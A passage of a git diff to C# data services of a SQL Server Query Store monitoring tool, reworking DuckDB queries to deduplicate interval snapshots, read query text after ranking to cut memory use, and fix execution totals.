     /* LOAD-BEARING (correctness, not just perf) — #1841. query_store_stats rows are CUMULATIVE
        per-Query-Store-interval snapshots, and the collector re-fetches the OPEN interval every cycle
        as its last_execution_time advances, so the SAME interval is stored repeatedly with a growing
        execution_count. SUM(execution_count) over the raw rows reports 10 + 25 + 40 for an interval that
        reached 40, and AVG(avg_*) becomes an avg-of-avgs weighted by how many times each interval happened
-       to be re-collected. Keep the LATEST snapshot per interval. SELECT * because the aggregate below
-       projects nearly every payload column.
+       to be re-collected. Keep the LATEST snapshot per interval. The aggregate below projects nearly every
+       payload column, so they are listed in `deduped`; #5381: query_text and query_plan_text are NOT among them.
+       The text is read after the ranking, for the page's rows only (below).
 
        runtime_stats_interval_id is the REAL interval identity (tier 2), with first_execution_time kept
        beside it as the tier-1 proxy for rows collected before it existed — see the slicer above for why
@@ -194,15 +200,46 @@ both are in the key rather than a COALESCE of the two.
 
        replica_role and execution_type_desc are in the partition because the aggregate below is grouped
        (or MAXed) on them: the dedup key must be at least as fine as the read's own row identity, or
-       dedup would silently drop a row the grid is supposed to show rather than de-duplicate one. */
+       dedup would silently drop a row the grid is supposed to show rather than de-duplicate one.
+
+       #5381: the window runs over the NARROW columns only (the row's id and time), and the payload comes back by a
+       join on those two for the winning rows. Running the window over the payload sorted every column of every row
+       in the window, which is the part of this read that grows with the window, and DuckDB keeps a copy of it per
+       thread. The join's build side is one narrow row per interval. */
+    SELECT collection_id AS latest_id, collection_time AS latest_time
+    FROM
+    (
+        SELECT
+            collection_id,
+            collection_time,
+            ROW_NUMBER() OVER
+            (
+                PARTITION BY database_name, query_id, plan_id, runtime_stats_interval_id, first_execution_time, execution_type_desc, replica_role
+                ORDER BY collection_time DESC, execution_count DESC
+            ) AS rn
+        FROM v_query_store_stats
+        WHERE server_id = $1
+        AND   collection_time >= $2
+        AND   collection_time <= $3" + dbClause + executionTypeClause + @"
+    ) w
+    WHERE rn = 1
+),
+deduped AS (
     SELECT
-        *,
-        ROW_NUMBER() OVER
-        (
-            PARTITION BY database_name, query_id, plan_id, runtime_stats_interval_id, first_execution_time, execution_type_desc, replica_role
-            ORDER BY collection_time DESC, execution_count DESC
-        ) AS rn
+        database_name, query_id, plan_id, query_hash, replica_role, module_name, execution_type_desc,
+        runtime_stats_interval_id, first_execution_time, last_execution_time, collection_time,
+        execution_count, avg_duration_us, avg_cpu_time_us, avg_logical_io_reads, avg_logical_io_writes,
+        avg_physical_io_reads, avg_rowcount, min_dop, max_dop, query_plan_hash, is_forced_plan,
+        plan_forcing_type, avg_clr_time_us, avg_tempdb_space_used, avg_log_bytes_used, plan_type,
+        force_failure_count, last_force_failure_reason, compatibility_level, min_duration_us,
+        max_duration_us, min_cpu_time_us, max_cpu_time_us, min_logical_io_reads, max_logical_io_reads,
+        min_logical_io_writes, max_logical_io_writes, min_physical_io_reads, max_physical_io_reads,
+        min_clr_time_us, max_clr_time_us, min_rowcount, max_rowcount, min_log_bytes_used,
+        max_log_bytes_used, min_tempdb_space_used, max_tempdb_space_used, avg_query_max_used_memory,
+        min_query_max_used_memory, max_query_max_used_memory, avg_num_physical_io_reads,
+        min_num_physical_io_reads, max_num_physical_io_reads
     FROM v_query_store_stats
+    INNER JOIN latest ON latest.latest_id = collection_id AND latest.latest_time = collection_time
     WHERE server_id = $1
     AND   collection_time >= $2
     AND   collection_time <= $3" + dbClause + executionTypeClause + @"
@@ -273,17 +310,24 @@ and the grid is unchanged. */
         MIN(CAST(min_num_physical_io_reads AS DOUBLE PRECISION)) AS min_num_physical_io_reads,
         MAX(CAST(max_num_physical_io_reads AS DOUBLE PRECISION)) AS max_num_physical_io_reads
     FROM deduped
-    WHERE rn = 1" + moduleClause + @"
+    WHERE 1 = 1" + moduleClause + @"
     GROUP BY database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role
-    ORDER BY SUM(execution_count) * AVG(CAST(avg_duration_us AS DOUBLE PRECISION)) DESC
-    LIMIT $4 + 5
-)
+    /* #5299 round 3 (O16): the ranking ends on the whole group key - see GetTopQueriesByCpuAsync. */
+    ORDER BY SUM(execution_count) * AVG(CAST(avg_duration_us AS DOUBLE PRECISION)) DESC, database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role
+    LIMIT " + candidates + @"
+),
+/* #5381: `ranked` is read ONCE, here. Referencing it a second time (for a candidate count, or to find each candidate's
+   text row) makes DuckDB materialise it and hold a second copy of its window and aggregate state, which doubled this
+   read's peak memory (753 MB against the old read's 726 MB over a 7 day window at 1 GB). The count is the number of
+   rows this statement returns, and each candidate's latest text row is found by a second statement over the
+   candidates' keys (ReadQueryStoreLatestRowsAsync), so nothing here looks at the whole archive. */
+page AS (
 SELECT
     r.database_name,
     r.query_id,
     r.plan_id,
     r.query_hash,
-    t.query_text,
+    CAST(NULL AS VARCHAR) AS query_text,
     r.module_name,
     r.total_executions,
     r.avg_duration_ms,
@@ -332,26 +376,21 @@ ORDER BY SUM(execution_count) * AVG(CAST(avg_duration_us AS DOUBLE PRECISION)) D
     r.avg_num_physical_io_reads,
     r.min_num_physical_io_reads,
     r.max_num_physical_io_reads,
-    r.replica_role
+    r.replica_role,
+    ROW_NUMBER() OVER (ORDER BY r.total_executions * r.avg_duration_ms DESC, r.database_name, r.query_id, r.plan_id, r.query_hash, r.execution_type_desc, r.replica_role) AS page_ord
 FROM ranked r
-LEFT JOIN LATERAL (
-    SELECT query_text
-    FROM v_query_store_stats
-    WHERE server_id = $1
-    AND   query_id = r.query_id
-    AND   database_name = r.database_name
-    AND   query_text IS NOT NULL
-    ORDER BY collection_time DESC
-    LIMIT 1
-) t ON TRUE
-WHERE t.query_text IS NULL OR t.query_text NOT LIKE 'WAITFOR%'
-ORDER BY r.total_executions * r.avg_duration_ms DESC
-LIMIT $4";
+)
+/* #5313: a round reports how many candidates its ranking produced, so TopFill knows whether more exist.
+   #5381: that count is the number of rows returned here (the page is not trimmed in SQL any more), and the WAITFOR
+   filter and the page limit need the text, so they run in code after the text read, over the candidates in page_ord
+   order - the same rows in the same order the old statement's WHERE and LIMIT $4 kept. */
+SELECT p.*
+FROM page p
+ORDER BY p.page_ord";
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
         command.Parameters.Add(new DuckDBParameter { Value = startTime });
         command.Parameters.Add(new DuckDBParameter { Value = endTime });
-        command.Parameters.Add(new DuckDBParameter { Value = top });
         foreach (var db in dbValues)
             command.Parameters.Add(new DuckDBParameter { Value = db });
         if (!string.IsNullOrWhiteSpace(executionType))
@@ -359,11 +398,12 @@ ORDER BY r.total_executions * r.avg_duration_ms DESC
         if (!string.IsNullOrWhiteSpace(moduleName))
             command.Parameters.Add(new DuckDBParameter { Value = moduleName });
 
-        var items = new List<QueryStoreRow>();
-        using var reader = await command.ExecuteReaderAsync();
+        var candidateRows = new List<QueryStoreRow>();
+        using (var reader = await command.ExecuteReaderAsync())
+        {
         while (await reader.ReadAsync())
         {
-            items.Add(new QueryStoreRow
+            var candidate = new QueryStoreRow
             {
                 DatabaseName = reader.IsDBNull(0) ? "" : reader.GetString(0),
                 QueryId = reader.IsDBNull(1) ? 0 : reader.GetInt64(1),
@@ -419,10 +459,45 @@ ORDER BY r.total_executions * r.avg_duration_ms DESC
                 MinNumPhysicalIoReads = reader.IsDBNull(51) ? 0 : ToDouble(reader.GetValue(51)),
                 MaxNumPhysicalIoReads = reader.IsDBNull(52) ? 0 : ToDouble(reader.GetValue(52)),
                 ReplicaRole = reader.IsDBNull(53) ? null : reader.GetString(53)
-            });
+            };
+            candidateRows.Add(candidate);
+        }
         }
 
-        return items;
+        /* #5381: the row that holds each candidate's text (the latest row of its database and query_id over ALL history,
+           as the old lateral picked), then the text of those rows, both by key and for the candidates only. */
+        var latestRows = await ReadQueryStoreLatestRowsAsync(connection, serverId, candidateRows.Select(r => (r.DatabaseName, r.QueryId)));
+        var texts = await ReadQueryStoreTextByRowAsync(connection, serverId, latestRows.Values);
+        var items = new List<QueryStoreRow>();
+        foreach (var row in candidateRows)
+        {
+            string? text = null;
+            if (latestRows.TryGetValue((row.DatabaseName, row.QueryId), out var textRow))
+            {
+                texts.TryGetValue(textRow, out text);
+                /* The old lateral skipped NULL texts: a latest row with no text resolves to the latest row WITH one. */
+                text ??= await ReadQueryStoreLatestNonNullTextAsync(connection, serverId, row.DatabaseName, row.QueryId);
+            }
+
+            /* The old statement's WHERE (NOT LIKE is case sensitive, a prefix test) and LIMIT $4, in page_ord order. */
+            if (text is not null && text.StartsWith("WAITFOR", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            if (items.Count >= top)
+            {
+                break;
+            }
+
+            row.QueryText = text ?? "";
+            items.Add(row);
+        }
+
+        return (items, candidateRows.Count);
+        }
+
+        return await TopFill.RunAsync(top, RunRoundAsync);
     }
 
     /// <summary>
@@ -454,9 +529,11 @@ than in the baseline window (recent windows hold more still-open intervals), whi
        delta this comparison exists to compute. One deduped CTE per window, so both arms are treated
        identically. */
     SELECT
+        collection_id,
+        collection_time,
         database_name,
+        query_id,
         query_hash,
-        query_text,
         execution_count,
         avg_duration_us,
         avg_cpu_time_us,
@@ -472,9 +549,11 @@ FROM v_query_store_stats
 ),
 deduped_baseline AS (
     SELECT
+        collection_id,
+        collection_time,
         database_name,
+        query_id,
         query_hash,
-        query_text,
         execution_count,
         avg_duration_us,
         avg_cpu_time_us,
@@ -519,8 +598,7 @@ current_period AS (
            SUM(qs.execution_count) AS exec_count,
            SUM(qs.execution_count * qs.avg_duration_us::DOUBLE PRECISION) / NULLIF(SUM(qs.execution_count), 0) / 1000.0 AS avg_duration_ms,
            SUM(qs.execution_count * qs.avg_cpu_time_us::DOUBLE PRECISION) / NULLIF(SUM(qs.execution_count), 0) / 1000.0 AS avg_cpu_ms,
-           SUM(qs.execution_count * qs.avg_logical_io_reads::DOUBLE PRECISION) / NULLIF(SUM(qs.execution_count), 0) AS avg_reads,
-           MAX(qs.query_text) AS query_text
+           SUM(qs.execution_count * qs.avg_logical_io_reads::DOUBLE PRECISION) / NULLIF(SUM(qs.execution_count), 0) AS avg_reads
     FROM top_hashes th
     INNER JOIN deduped_current qs
       ON  qs.query_hash IS NOT DISTINCT FROM th.query_hash
@@ -534,8 +612,7 @@ baseline_period AS (
            SUM(qs.execution_count) AS exec_count,
            SUM(qs.execution_count * qs.avg_duration_us::DOUBLE PRECISION) / NULLIF(SUM(qs.execution_count), 0) / 1000.0 AS avg_duration_ms,
            SUM(qs.execution_count * qs.avg_cpu_time_us::DOUBLE PRECISION) / NULLIF(SUM(qs.execution_count), 0) / 1000.0 AS avg_cpu_ms,
-           SUM(qs.execution_count * qs.avg_logical_io_reads::DOUBLE PRECISION) / NULLIF(SUM(qs.execution_count), 0) AS avg_reads,
-           MAX(qs.query_text) AS query_text
+           SUM(qs.execution_count * qs.avg_logical_io_reads::DOUBLE PRECISION) / NULLIF(SUM(qs.execution_count), 0) AS avg_reads
     FROM top_hashes th
     INNER JOIN deduped_baseline qs
       ON  qs.query_hash IS NOT DISTINCT FROM th.query_hash
@@ -543,19 +620,77 @@ AND qs.database_name IS NOT DISTINCT FROM th.database_name
     WHERE qs.rn = 1
     AND   qs.execution_count > 0
     GROUP BY th.database_name, th.query_hash
+),
+/* #5381: query_text is not carried through the window above; it is read afterwards for the rows asked for here.
+   Each period's text used to be MAX(query_text) over that period's kept rows for the (database, hash) pair. The rows
+   to read are the latest kept row of each query_id inside the pair: a query_id has one text for life in Query Store,
+   so the MAX over those rows is the MAX over every kept row, and the lookup touches one row per query instead of
+   one per collected interval. kind 1 = current period's rows, kind 2 = baseline's, kind 0 = the comparison rows. */
+current_winner AS (
+    SELECT database_name, query_hash, query_id, collection_id, collection_time
+    FROM
+    (
+        SELECT
+            th.database_name,
+            th.query_hash,
+            qs.query_id,
+            qs.collection_id,
+            qs.collection_time,
+            ROW_NUMBER() OVER (PARTITION BY th.database_name, th.query_hash, qs.query_id ORDER BY qs.collection_time DESC, qs.collection_id DESC) AS wr
+        FROM top_hashes th
+        INNER JOIN deduped_current qs
+          ON  qs.query_hash IS NOT DISTINCT FROM th.query_hash
+          AND qs.database_name IS NOT DISTINCT FROM th.database_name
+        WHERE qs.rn = 1
+        AND   qs.execution_count > 0
+    ) x
+    WHERE wr = 1
+),
+baseline_winner AS (
+    SELECT database_name, query_hash, query_id, collection_id, collection_time
+    FROM
+    (
+        SELECT
+            th.database_name,
+            th.query_hash,
+            qs.query_id,
+            qs.collection_id,
+            qs.collection_time,
+            ROW_NUMBER() OVER (PARTITION BY th.database_name, th.query_hash, qs.query_id ORDER BY qs.collection_time DESC, qs.collection_id DESC) AS wr
+        FROM top_hashes th
+        INNER JOIN deduped_baseline qs
+          ON  qs.query_hash IS NOT DISTINCT FROM th.query_hash
+          AND qs.database_name IS NOT DISTINCT FROM th.database_name
+        WHERE qs.rn = 1
+        AND   qs.execution_count > 0
+    ) x
+    WHERE wr = 1
 )
-SELECT COALESCE(c.database_name, b.database_name) AS database_name,
+SELECT 0 AS kind,
+       COALESCE(c.database_name, b.database_name) AS database_name,
        COALESCE(c.query_hash, b.query_hash) AS query_hash,
-       COALESCE(c.query_text, b.query_text) AS query_text,
        c.exec_count, c.avg_duration_ms, c.avg_cpu_ms, c.avg_reads,
        b.exec_count AS baseline_exec_count,
        b.avg_duration_ms AS baseline_avg_duration_ms,
        b.avg_cpu_ms AS baseline_avg_cpu_ms,
-       b.avg_reads AS baseline_avg_reads
+       b.avg_reads AS baseline_avg_reads,
+       CAST(NULL AS BIGINT) AS text_collection_id,
+       CAST(NULL AS TIMESTAMP) AS text_collection_time,
+       CAST(NULL AS BIGINT) AS text_query_id
 FROM current_period c
 FULL OUTER JOIN baseline_period b
   ON  c.database_name IS NOT DISTINCT FROM b.database_name
-  AND c.query_hash IS NOT DISTINCT FROM b.query_hash;";
+  AND c.query_hash IS NOT DISTINCT FROM b.query_hash
+UNION ALL
+SELECT 1, database_name, query_hash,
+       NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
+       collection_id, collection_time, query_id
+FROM current_winner
+UNION ALL
+SELECT 2, database_name, query_hash,
+       NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
+       collection_id, collection_time, query_id
+FROM baseline_winner;";
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
         command.Parameters.Add(new DuckDBParameter { Value = currentStart });
@@ -566,23 +701,60 @@ ON  c.database_name IS NOT DISTINCT FROM b.database_name
             command.Parameters.Add(new DuckDBParameter { Value = db });
 
         var items = new List<QueryStatsComparisonItem>();
-        using var reader = await command.ExecuteReaderAsync();
-        while (await reader.ReadAsync())
+        var currentKeys = new Dictionary<(string?, string?), List<(long, DateTime)>>();
+        var baselineKeys = new Dictionary<(string?, string?), List<(long, DateTime)>>();
+        var currentWinners = new List<(string? DatabaseName, string? QueryHash, long QueryId, long CollectionId, DateTime CollectionTime)>();
+        var baselineWinners = new List<(string? DatabaseName, string? QueryHash, long QueryId, long CollectionId, DateTime CollectionTime)>();
+        var itemKeys = new List<(string?, string?)>();
+        using (var reader = await command.ExecuteReaderAsync())
         {
-            items.Add(new QueryStatsComparisonItem
+            while (await reader.ReadAsync())
             {
-                DatabaseName = reader.IsDBNull(0) ? "" : reader.GetString(0),
-                QueryHash = reader.IsDBNull(1) ? "" : reader.GetString(1),
-                QueryText = reader.IsDBNull(2) ? "" : reader.GetString(2),
-                ExecutionCount = reader.IsDBNull(3) ? 0 : ToInt64(reader.GetValue(3)),
-                AvgDurationMs = reader.IsDBNull(4) ? 0 : ToDouble(reader.GetValue(4)),
-                AvgCpuMs = reader.IsDBNull(5) ? 0 : ToDouble(reader.GetValue(5)),
-                AvgReads = reader.IsDBNull(6) ? 0 : ToDouble(reader.GetValue(6)),
-                BaselineExecutionCount = reader.IsDBNull(7) ? 0 : ToInt64(reader.GetValue(7)),
-                BaselineAvgDurationMs = reader.IsDBNull(8) ? 0 : ToDouble(reader.GetValue(8)),
-                BaselineAvgCpuMs = reader.IsDBNull(9) ? 0 : ToDouble(reader.GetValue(9)),
-                BaselineAvgReads = reader.IsDBNull(10) ? 0 : ToDouble(reader.GetValue(10)),
-            });
+                var kind = reader.GetInt32(0);
+                var key = (reader.IsDBNull(1) ? null : reader.GetString(1), reader.IsDBNull(2) ? null : reader.GetString(2));
+                if (kind != 0)
+                {
+                    var keys = kind == 1 ? currentKeys : baselineKeys;
+                    if (!keys.TryGetValue(key, out var list))
+                    {
+                        keys[key] = list = [];
+                    }
+                    list.Add((reader.GetInt64(11), reader.GetDateTime(12)));
+                    (kind == 1 ? currentWinners : baselineWinners).Add((key.Item1, key.Item2, reader.GetInt64(13), reader.GetInt64(11), reader.GetDateTime(12)));
+                    continue;
+                }
+
+                itemKeys.Add(key);
+                items.Add(new QueryStatsComparisonItem
+                {
+                    DatabaseName = key.Item1 ?? "",
+                    QueryHash = key.Item2 ?? "",
+                    QueryText = "",
+                    ExecutionCount = reader.IsDBNull(3) ? 0 : ToInt64(reader.GetValue(3)),
+                    AvgDurationMs = reader.IsDBNull(4) ? 0 : ToDouble(reader.GetValue(4)),
+                    AvgCpuMs = reader.IsDBNull(5) ? 0 : ToDouble(reader.GetValue(5)),
+                    AvgReads = reader.IsDBNull(6) ? 0 : ToDouble(reader.GetValue(6)),
+                    BaselineExecutionCount = reader.IsDBNull(7) ? 0 : ToInt64(reader.GetValue(7)),
+                    BaselineAvgDurationMs = reader.IsDBNull(8) ? 0 : ToDouble(reader.GetValue(8)),
+                    BaselineAvgCpuMs = reader.IsDBNull(9) ? 0 : ToDouble(reader.GetValue(9)),
+                    BaselineAvgReads = reader.IsDBNull(10) ? 0 : ToDouble(reader.GetValue(10)),
+                });
+            }
+        }
+
+        /* #5381: the text, read by key after the ranking. COALESCE(current text, baseline text), each a MAX in UTF-8 order. */
+        var texts = await ReadQueryStoreTextByRowAsync(
+            connection, serverId,
+            currentKeys.Values.Concat(baselineKeys.Values).SelectMany(v => v).Select(v => (v.Item1, v.Item2)));
+        /* A query_id whose latest kept row in the period carries no text: the old MAX skipped NULLs, so it still showed
+           an older kept row's text from the same period (the review of #5396). Read only those queries' other kept rows,
+           newest UTC day first, until each has a text. */
+        await ReadQueryStoreFallbackTextsAsync(connection, serverId, currentWinners, currentStart, currentEnd, currentKeys, texts);
+        await ReadQueryStoreFallbackTextsAsync(connection, serverId, baselineWinners, baselineStart, baselineEnd, baselineKeys, texts);
+        for (var i = 0; i < items.Count; i++)
+        {
+            var text = MaxUtf8Text(currentKeys, itemKeys[i], texts) ?? MaxUtf8Text(baselineKeys, itemKeys[i], texts);
+            items[i].QueryText = text ?? "";
         }
 
         return items;
@@ -710,7 +882,14 @@ FROM deduped
     /// first_execution_time is already projected so a reader can tell those rows apart. Tier 2 stored the
     /// real interval identity, which would now make collapsing them trivial — and the exclusion STANDS
     /// anyway, because whether this drilldown should show every snapshot or one row per interval is a
-    /// product call, not an arithmetic one, and the arithmetic was never wrong here.</para>
+    /// product call, not an arithmetic one, and the arithmetic of THIS read was never wrong.</para>
+    ///
+    /// <para>The window that shows it did add these rows up, though: its summary's Total Executions summed
+    /// execution_count over the list, which counts an interval collected N times about N times (#5306). A
+    /// total over this list takes <see cref="QueryStoreHistoryRow.TotalExecutions"/>, which keeps the latest
+    /// snapshot of each interval first. That is why the projection carries runtime_stats_interval_id and
+    /// replica_role: they are the rest of the identity the aggregate reads above dedup on, and are not shown in
+    /// the grid. The grid itself still lists every snapshot.</para>
     /// </summary>
     public async Task<List<QueryStoreHistoryRow>> GetQueryStoreHistoryAsync(int serverId, string databaseName, long queryId, int hoursBack = 24, DateTime? fromDate = null, DateTime? toDate = null)
     {
@@ -768,7 +947,9 @@ public async Task<List<QueryStoreHistoryRow>> GetQueryStoreHistoryAsync(int serv
     plan_forcing_type,
     compatibility_level,
     query_hash,
-    query_plan_hash
+    query_plan_hash,
+    runtime_stats_interval_id,
+    replica_role
 FROM v_query_store_stats
 WHERE server_id = $1
 AND   database_name = $2
@@ -838,7 +1019,9 @@ FROM v_query_store_stats
                 PlanForcingType = reader.IsDBNull(46) ? "" : reader.GetString(46),
                 CompatibilityLevel = reader.IsDBNull(47) ? 0 : reader.GetInt32(47),
                 QueryHash = reader.IsDBNull(48) ? "" : reader.GetString(48),
-                QueryPlanHash = reader.IsDBNull(49) ? "" : reader.GetString(49)
+                QueryPlanHash = reader.IsDBNull(49) ? "" : reader.GetString(49),
+                RuntimeStatsIntervalId = reader.IsDBNull(50) ? (long?)null : Convert.ToInt64(reader.GetValue(50)),
+                ReplicaRole = reader.IsDBNull(51) ? null : reader.GetString(51)
             });
         }
 
@@ -1184,9 +1367,48 @@ public class QueryStoreHistoryRow
     public string QueryHash { get; set; } = "";
     public string QueryPlanHash { get; set; } = "";
 
+    // The rest of the interval identity, beside plan_id / first_execution_time / execution_type_desc above (#5306).
+    // Not shown in the grid: LatestPerInterval keys on them. NULL on rows collected before the columns existed
+    // (runtime_stats_interval_id, #1841 tier 2) and, for replica_role, off an availability group.
+    public long? RuntimeStatsIntervalId { get; set; }
+    public string? ReplicaRole { get; set; }
+
     public double TotalDurationMs => ExecutionCount * AvgDurationMs;
     public double TotalCpuMs => ExecutionCount * AvgCpuTimeMs;
 
+    /// <summary>
+    /// #5306: the newest snapshot of each Query Store interval among <paramref name="rows"/>.
+    ///
+    /// <para>The history grid lists EVERY stored snapshot on purpose (see <c>GetQueryStoreHistoryAsync</c>), and
+    /// query_store_stats rows are cumulative per interval: an interval the collector fetched N times is N rows with a
+    /// growing execution_count. Anything that ADDS those rows up counts the interval about N times, so a total takes
+    /// this first. The input is not changed: the window binds the same list to its grid.</para>
+    ///
+    /// <para>The interval identity and the "latest" order are the aggregate reads' in this file (#1841, #1907). The key
+    /// is plan_id, runtime_stats_interval_id, first_execution_time, execution_type_desc and replica_role; the survivor
+    /// is the greatest collection_time, then the greatest execution_count (the #1907 tie-break, which picks the flushed
+    /// slice of an interval stored twice at one collection time). database_name and query_id are in those reads' key
+    /// too and are constant here, because the history read is scoped to one of each. A NULL part of the key matches
+    /// another NULL, as in the aggregate reads' partitioning, which is also how the rows collected before the id was
+    /// stored keep the first_execution_time proxy.</para>
+    /// </summary>
+    public static IReadOnlyList<QueryStoreHistoryRow> LatestPerInterval(IEnumerable<QueryStoreHistoryRow> rows) =>
+        rows
+            .GroupBy(r => (r.PlanId, r.RuntimeStatsIntervalId, r.FirstExecutionTime, r.ExecutionTypeDesc, r.ReplicaRole))
+            .Select(interval => interval
+                .OrderByDescending(r => r.CollectionTime)
+                .ThenByDescending(r => r.ExecutionCount)
+                .First())
+            .ToList();
+
+    /// <summary>
+    /// #5306: the executions of the queries <paramref name="rows"/> hold, counting each interval once at its latest
+    /// snapshot (<see cref="LatestPerInterval"/>). The history window's summary line shows this as Total Executions;
+    /// adding <see cref="ExecutionCount"/> up over the grid's rows counted an interval collected N times about N times.
+    /// </summary>
+    public static long TotalExecutions(IEnumerable<QueryStoreHistoryRow> rows) =>
+        LatestPerInterval(rows).Sum(r => r.ExecutionCount);
+
     /// <summary>
     /// The zone the window that shows this row draws its chart in (#4766): its opening tab's picker zone. The window
     /// sets it on every row it loads, so <see cref="CollectionTimeLocal"/>, <see cref="FirstExecutionTimeLocal"/> and
diff --git a/Lite/Services/LocalDataService.QueryStoreRegressions.cs b/Lite/Services/LocalDataService.QueryStoreRegressions.cs
index aa134a2567..36b2c981b5 100644
--- a/Lite/Services/LocalDataService.QueryStoreRegressions.cs
+++ b/Lite/Services/LocalDataService.QueryStoreRegressions.cs
@@ -117,10 +117,11 @@ AND   collection_time < $2" + dbClause + @"
 ),
 deduped_recent AS (
     SELECT
+        collection_id,
+        collection_time,
         database_name,
         query_id,
         plan_id,
-        query_text,
         execution_count,
         avg_duration_us,
         avg_cpu_time_us,
@@ -153,7 +154,6 @@ recent_performance AS (
     SELECT
         database_name,
         query_id,
-        MAX(query_text) AS query_text_sample,
         AVG(CAST(avg_duration_us AS DOUBLE PRECISION)) / 1000.0 AS avg_duration_ms,
         AVG(CAST(avg_cpu_time_us AS DOUBLE PRECISION)) / 1000.0 AS avg_cpu_time_ms,
         AVG(CAST(avg_logical_io_reads AS DOUBLE PRECISION)) AS avg_logical_io_reads,
@@ -163,6 +163,24 @@ recent_performance AS (
     FROM deduped_recent
     WHERE rn = 1
     GROUP BY database_name, query_id
+),
+/* #5381: query_text is not carried through the windows above. The sample used to be MAX(query_text) over the
+   query's kept recent rows; it is read afterwards, by key, for the rows this statement returns, from the latest kept
+   row of each query: a query_id has one text for life in Query Store, so that is the same text. */
+recent_winner AS (
+    SELECT database_name, query_id, collection_id, collection_time
+    FROM
+    (
+        SELECT
+            database_name,
+            query_id,
+            collection_id,
+            collection_time,
+            ROW_NUMBER() OVER (PARTITION BY database_name, query_id ORDER BY collection_time DESC, collection_id DESC) AS wr
+        FROM deduped_recent
+        WHERE rn = 1
+    ) x
+    WHERE wr = 1
 )
 SELECT
     r.database_name,
@@ -187,12 +205,16 @@ FROM deduped_recent
         WHEN (r.avg_duration_ms - b.avg_duration_ms) * 100.0 / NULLIF(b.avg_duration_ms, 0) > 25 THEN 'MEDIUM'
         ELSE 'LOW'
     END AS severity,
-    r.query_text_sample,
-    r.last_execution_time
+    w.collection_id AS text_collection_id,
+    r.last_execution_time,
+    w.collection_time AS text_collection_time
 FROM recent_performance AS r
 JOIN baseline_performance AS b
   ON  b.database_name = r.database_name
   AND b.query_id = r.query_id
+LEFT JOIN recent_winner AS w
+  ON  w.database_name = r.database_name
+  AND w.query_id = r.query_id
 WHERE (r.avg_cpu_time_ms - b.avg_cpu_time_ms) * 100.0 / NULLIF(b.avg_cpu_time_ms, 0) > 25
 ORDER BY additional_duration_ms DESC
 LIMIT $" + limitIndex;
@@ -206,9 +228,12 @@ ORDER BY additional_duration_ms DESC
         command.Parameters.Add(new DuckDBParameter { Value = maxRows });
 
         var rows = new List<QueryStoreRegressionRow>();
-        using var reader = await command.ExecuteReaderAsync();
+        var textKeys = new List<(long? Id, DateTime? Time)>();
+        using (var reader = await command.ExecuteReaderAsync())
+        {
         while (await reader.ReadAsync())
         {
+            textKeys.Add((reader.IsDBNull(17) ? null : reader.GetInt64(17), reader.IsDBNull(19) ? null : reader.GetDateTime(19)));
             rows.Add(new QueryStoreRegressionRow
             {
                 DatabaseName = reader.IsDBNull(0) ? "" : reader.GetString(0),
@@ -228,10 +253,28 @@ ORDER BY additional_duration_ms DESC
                 BaselinePlanCount = reader.IsDBNull(14) ? 0 : Convert.ToInt32(reader.GetValue(14)),
                 RecentPlanCount = reader.IsDBNull(15) ? 0 : Convert.ToInt32(reader.GetValue(15)),
                 Severity = reader.IsDBNull(16) ? "" : reader.GetString(16),
-                QueryTextSample = reader.IsDBNull(17) ? "" : reader.GetString(17),
+                QueryTextSample = "",
                 LastExecutionTime = reader.IsDBNull(18) ? null : reader.GetDateTime(18),
             });
         }
+        }
+
+        /* #5381: the text sample, read by key for the returned rows only. */
+        var texts = await ReadQueryStoreTextByRowAsync(
+            connection, serverId,
+            textKeys.Where(k => k.Id.HasValue && k.Time.HasValue).Select(k => (k.Id!.Value, k.Time!.Value)));
+        for (var i = 0; i < rows.Count; i++)
+        {
+            string? text = null;
+            if (textKeys[i].Id.HasValue && textKeys[i].Time.HasValue)
+            {
+                texts.TryGetValue((textKeys[i].Id!.Value, textKeys[i].Time!.Value), out text);
+                /* The latest row carried no text: the old MAX skipped NULLs, so take any text the query has in the window. */
+                text ??= await ReadQueryStoreWindowTextAsync(connection, serverId, rows[i].DatabaseName, rows[i].QueryId, startTime, endTime);
+            }
+
+            rows[i].QueryTextSample = text ?? "";
+        }
 
         return rows;
     }
@@ -245,15 +288,19 @@ ORDER BY additional_duration_ms DESC
     /// has no BEFORE, so it can never show a regression however badly it regressed. Reads
     /// <c>v_query_store_stats</c>, the same view the read itself uses. Darling twin:
     /// <c>DarlingQueryStoreRegressionReader.RegressionCoverageSql</c>.</para>
+    /// <para>#5015: <paramref name="databaseNames"/> narrows both questions to the same databases the read was
+    /// asked for (null: every database), so a caller that filtered can tell "nothing regressed in that database"
+    /// from "no capture of that database was ever read", which an unfiltered probe cannot.</para>
     /// </summary>
     public async Task<(bool HasBaseline, bool HasRecent)> GetQueryStoreRegressionCoverageAsync(
-        int serverId, int hoursBack = 24, DateTime? asOfUtc = null)
+        int serverId, int hoursBack = 24, DateTime? asOfUtc = null, IReadOnlyList<string>? databaseNames = null)
     {
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
 
         var (startTime, endTime) = GetTimeRange(hoursBack, null, null, asOfUtc);
         var baselineStartTime = startTime.AddDays(-BaselineLookbackDays);
+        var dbClause = BuildDbInClause(databaseNames, "database_name", 5, out var dbValues);
 
         command.CommandText = @"
 SELECT
@@ -262,20 +309,24 @@ SELECT 1
         FROM v_query_store_stats
         WHERE server_id = $1
         AND   collection_time >= $4
-        AND   collection_time < $2
+        AND   collection_time < $2" + dbClause + @"
     ) AS has_baseline,
     EXISTS (
         SELECT 1
         FROM v_query_store_stats
         WHERE server_id = $1
         AND   collection_time >= $2
-        AND   collection_time <= $3
+        AND   collection_time <= $3" + dbClause + @"
     ) AS has_recent";
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
         command.Parameters.Add(new DuckDBParameter { Value = startTime });
         command.Parameters.Add(new DuckDBParameter { Value = endTime });
         command.Parameters.Add(new DuckDBParameter { Value = baselineStartTime });
+        foreach (var value in dbValues)
+        {
+            command.Parameters.Add(new DuckDBParameter { Value = value });
+        }
 
         using var reader = await command.ExecuteReaderAsync();
         if (!await reader.ReadAsync())
diff --git a/Lite/Services/LocalDataService.QueryStoreText.cs b/Lite/Services/LocalDataService.QueryStoreText.cs
new file mode 100644
